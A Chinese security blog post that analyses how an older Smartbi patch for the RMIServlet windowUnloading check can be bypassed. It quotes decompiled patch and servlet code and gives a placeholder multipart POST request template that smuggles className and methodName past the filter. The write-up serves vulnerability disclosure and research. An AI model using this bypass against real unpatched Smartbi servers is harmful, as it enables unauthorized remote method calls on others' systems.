浅析Smartbi逻辑漏洞(2) 写在前面 仅分享逻辑漏洞部分补丁绕过思路,不提供完整payload
厂商已发布补丁:https://www.smartbi.com.cn/patchinfo
正文 简单提一下,补丁部分由smartbi.security.patch.PatchFilter(来源于SecurityPatchExt.ext)做加载并处理,这里我们主要关注补丁返回的状态码的具体含义即可,可以看到只有返回0的时候,filter链才能继续通过doFilter继续传递
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Iterator var10 = rules.iterator(); while (var10.hasNext()) { URLPatchRule rule = (URLPatchRule)var10.next(); int result = rule.patch(uri, req, resp, chain); switch (result) { case 0 : default : break ; case 1 : resp.sendError(403 ); return ; case 2 : return ; } } chain.doFilter(request, response);
首先我们看看老板本对这点的patch的部分,如果queryString以windowUnloading开头,那么会做两件事,首先通过request.getParameter获取ClassName与MethodName的值,接着对windowUnloading中的值做解码并赋值给urlClassName与urlMethodName参数,最后补丁中会对request.getParameter与解码的值做对比,如果其中classname与methodname值不相等,那么就会返回1,也就是做拦截
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 public int patch (HttpServletRequest request, HttpServletResponse response, FilterChain chain) { return this .assertQueryString(request); } private int assertQueryString (HttpServletRequest request) { String query = request.getQueryString(); if (StringUtil.isNullOrEmpty(query)) { return 0 ; } else if (!query.startsWith("windowUnloading" )) { return 0 ; } else if (!query.startsWith("windowUnloading=&" ) && !query.startsWith("windowUnloading&" )) { return 1 ; } else { String paramClassName = request.getParameter("className" ); String paramMethodName = request.getParameter("methodName" ); if (!StringUtil.isNullOrEmpty(paramClassName) && !StringUtil.isNullOrEmpty(paramMethodName)) { try { String content = "" ; String windowUnloadingStr = query.length() > "windowUnloading" .length() && query.charAt("windowUnloading" .length()) == '=' ? "windowUnloading=&" : "windowUnloading&" ; if (query.length() > windowUnloadingStr.length()) { content = query.substring(windowUnloadingStr.length()); if (content.endsWith("=" )) { content = content.substring(0 , content.length() - 1 ); } content = URLDecoder.decode(content, "UTF-8" ); } String urlClassName = "" ; String urlMethodName = "" ; if (content.indexOf("className=" ) == -1 && content.indexOf("methodName=" ) == -1 ) { String[] decode = RMICoder.decode(content); urlClassName = decode[0 ]; urlMethodName = decode[1 ]; } else { Map<String, String> map = HttpUtil.parseQueryString(content); urlClassName = (String)map.get("className" ); urlMethodName = (String)map.get("methodName" ); } if (StringUtil.isNullOrEmpty(urlClassName) && StringUtil.isNullOrEmpty(urlMethodName)) { return 0 ; } else { return paramClassName.equals(urlClassName) && paramMethodName.equals(urlMethodName) ? 0 : 1 ; } } catch (Exception var10) { return 0 ; } } else { return 0 ; } }
那么我们可以思考这样的方式真的有效么?答案当时是否
在上篇文章中我们就提到,在CheckIsLoggedFilter中如果不考虑解码操作,对于classname与methodname的获取,有三种方式GET\POST\Multipart(这里POST指标准形式通过Body传参),补丁的操作是比对request.getParameteter与windowUnloading解码的值是否一致,我曾经也在其他文章当中写到过,在tomcat环境下,request.getParameteter只能获取到GET与POST,对于Multipart默认情况下是不做支持的(需要单独配置才能开启),当然这里也是没配置
我们也可以通过diff发现,如果content-type头以multipart开头就会返回状态1,也就是拦截
在上面的基础上我们很容易就可以构造出这样形式的请求包,像之前那样通过windowUnloading绕过方法校验限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 POST /smartbi/vision/RMIServlet?windowUnloading=xxxx HTTP/1.1 Host: xxxx Content-Type: multipart/form-data;charset=UTF-8;boundary=----WebKitFormBoundaryrGKCBY7qhFd3TrwA Connection: close ------WebKitFormBoundaryrGKCBY7qhFd3TrwA Content-Disposition: form-data; name="className" xxxService ------WebKitFormBoundaryrGKCBY7qhFd3TrwA Content-Disposition: form-data; name="methodName" xxx ------WebKitFormBoundaryrGKCBY7qhFd3TrwA Content-Disposition: form-data; name="params" ['xxx'] ------WebKitFormBoundaryrGKCBY7qhFd3TrwA
我们将真正要掉用的方法放在multipart中,由于此时request.getParameter取值为null
,StringUtil.isNullOrEmpty为true,自然也就绕过了补丁的限制
1 2 3 4 5 6 7 8 if (!query.startsWith("windowUnloading" )) { return 0 ; } else if (!query.startsWith("windowUnloading=&" ) && !query.startsWith("windowUnloading&" )) { return 1 ; } else { String paramClassName = request.getParameter("className" ); String paramMethodName = request.getParameter("methodName" ); if (!StringUtil.isNullOrEmpty(paramClassName) && !StringUtil.isNullOrEmpty(paramMethodName)) {
最终在RMIServlet解析参数时,又单独对multipart做了处理,这时我们真正要掉用的恶意类与方法又成功恢复出来,完成了老补丁的绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 public static RMIInfo parseRMIInfo(HttpServletRequest request, boolean forceParse) { if (!"/vision/RMIServlet".equals(request.getServletPath()) && !forceParse) { return null; } else { RMIInfo info = getRMIInfoFromRequest(request); if (info != null) { return info; } else { String className = request.getParameter("className"); String methodName = request.getParameter("methodName"); String params = request.getParameter("params"); if (StringUtil.isNullOrEmpty(className) && StringUtil.isNullOrEmpty(methodName) && StringUtil.isNullOrEmpty(params) && request.getContentType() != null && request.getContentType().startsWith("multipart/form-data;")) { DiskFileItemFactory dfif = new DiskFileItemFactory(); ServletFileUpload upload = new ServletFileUpload(dfif); String encodeString = null; try { List<FileItem> fileItems = upload.parseRequest(request); request.setAttribute("UPLOAD_FILE_ITEMS", fileItems); Iterator var10 = fileItems.iterator(); while(var10.hasNext()) { FileItem fileItem = (FileItem)var10.next(); if (fileItem.isFormField()) { String itemName = fileItem.getFieldName(); String itemValue = fileItem.getString("UTF-8"); if ("className".equals(itemName)) { className = itemValue; } else if ("methodName".equals(itemName)) { methodName = itemValue; } else if ("params".equals(itemName)) { params = itemValue; } else if ("encode".equals(itemName)) { encodeString = itemValue; } } } } catch (UnsupportedEncodingException | FileUploadException var14) { LOG.error(var14.getMessage(), var14); } if (!StringUtil.isNullOrEmpty(encodeString)) { String[] decode = (String[])((String[])CodeEntry.decode(encodeString, true)); className = decode[0]; methodName = decode[1]; params = decode[2]; } } if (className == null && methodName == null) { className = (String)request.getAttribute("className"); methodName = (String)request.getAttribute("methodName"); params = (String)request.getAttribute("params"); } info = new RMIInfo(); info.setClassName(className); info.setMethodName(methodName); info.setParams(params); request.setAttribute("ATTR_KEY_RMIINFO", info); return info; } } }
当然还有些东西只能说,懂得都懂